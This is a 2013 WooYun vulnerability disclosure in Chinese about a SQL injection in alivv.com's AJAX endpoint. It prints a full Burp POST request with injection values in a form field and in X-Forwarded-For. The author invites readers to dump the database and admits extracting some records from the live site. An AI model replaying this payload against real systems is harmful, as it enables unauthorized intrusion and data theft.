当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-021087

漏洞标题：阿里微微SQL注射漏洞

相关厂商：alivv.com

漏洞作者： 风之传说

提交时间：2013-04-01 21:49

修复时间：2013-06-14 10:45

公开时间：2013-06-14 10:45

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-04-01： 细节已通知厂商并且等待厂商处理中
2013-04-02： 厂商已经确认，细节仅向厂商公开
2013-04-12： 细节向核心白帽子及相关领域专家公开
2013-04-22： 细节向普通白帽子公开
2013-05-02： 细节向实习白帽子公开
2013-06-14： 细节向公众公开

简要描述：

啊啊，看到百度打击阿里微微把他的站都给K了。。偶那个有点不平，做个站不容易啊，就当做做好事，帮他检验哈漏洞吧。

详细说明：

http://www.alivv.com/ajax/Alivv.AjaxRun.WebSiteAjax,Alivv.AjaxRun.ashx?_method=BuyerWebSiteList&_session=r

漏洞证明：

怎么说呢，由于参数太多，然后火狐出了点问题，POST提交的时候在浏览器上总出问题。
然后我就burp直接注射。

POST /ajax/Alivv.AjaxRun.WebSiteAjax,Alivv.AjaxRun.ashx?_method=BuyerWebSiteList&_session=r HTTP/1.1
Host: www.alivv.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.alivv.com/links_list.html
Content-Length: 551
Content-Type: text/plain; charset=UTF-8
Cookie: CNZZDATA1976782=cnzz_eid%3D1873052779-1364283547-http%253A%252F%252Fwww.alivv.com%26ntime%3D1364283547%26cnzz_a%3D1%26retime%3D1364283552531%26sin%3Dnone%26ltime%3D1364283552531%26rtime%3D0; bdshare_firstime=1364283546949
X-Forwarded-For: 8.8.8.8'
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
pageindex=1
pagecount=20
keyword=1
domian=1
classid=006001
linktype=01
minbaidubr=1
maxbaidubr=2
minbaidupages=1
maxbaidupages=1
baidudays=0
mingooglepr=1
maxgooglepr=1
mingooglepages=1
maxgooglepages=1
minoutlinks=1
maxoutlinks=1
fengge=2 and user=1--
language=0
domaintype=0
iscomm=0
integrity=0
isauto=0
sensitive=0
orderbyname=0
orderby=asc
minprice=1
maxprice=1
minscore=1
maxscore=1


大家把这段代码放入burp即可爆出数据。好吧，可以脱裤。。

1.jpg


好吧，语句自己去组织，我本来自己写了个脱裤脚本，完全是为了技术，最后象征性的脱了几条，就没弄了。。不信那个啥阿里微微可以看看日志。好了。就到这里。。

修复方案：

过滤去吧。。不要以为用户看不见就很安全。。

版权声明：转载请注明来源 风之传说@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2013-04-02 17:31

厂商回复：

作者能否加我QQ 252887502 ，深入沟通下，我不知道怎么才能看到脱裤，是什么意思，如果确实是个问题，并能够解决，我们会给补偿。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-04-23 11:06 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    作者能否加我QQ 252887502 ，深入沟通下，我不知道怎么才能看到脱裤，是什么意思，如果确实是个问题，并能够解决，我们会给补偿。 厂商···挺有意思

  2. 2013-04-23 17:39 | 裙下的秘密 ( 实习白帽子 | Rank:83 漏洞数:9 | )

    @wefgod 看到脱裤了就要补偿厂家了 -。-

  3. 2013-04-25 10:37 | etcat ( 普通白帽子 | Rank:149 漏洞数:22 | 0101010101001010101010101010100101010101...)

    哈哈 是啊 不脱裤子 看来不够给力啊

  4. 2013-05-02 17:46 | 黑色的屌丝 ( 路人 | Rank:27 漏洞数:5 | →_→→_→)

    X-Forwarded-For: 8.8.8.8'

  5. 2013-07-07 22:21 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    作者能否加我QQ 252887502 ，深入沟通下 （你他吗脱我裤子，想死吧 ），我不知道怎么才能看到脱裤，是什么意思（小子查你家水表），如果确实是个问题，并能够解决（进去呆几天），我们会给补偿。（家人的心里安慰） 我解释的还行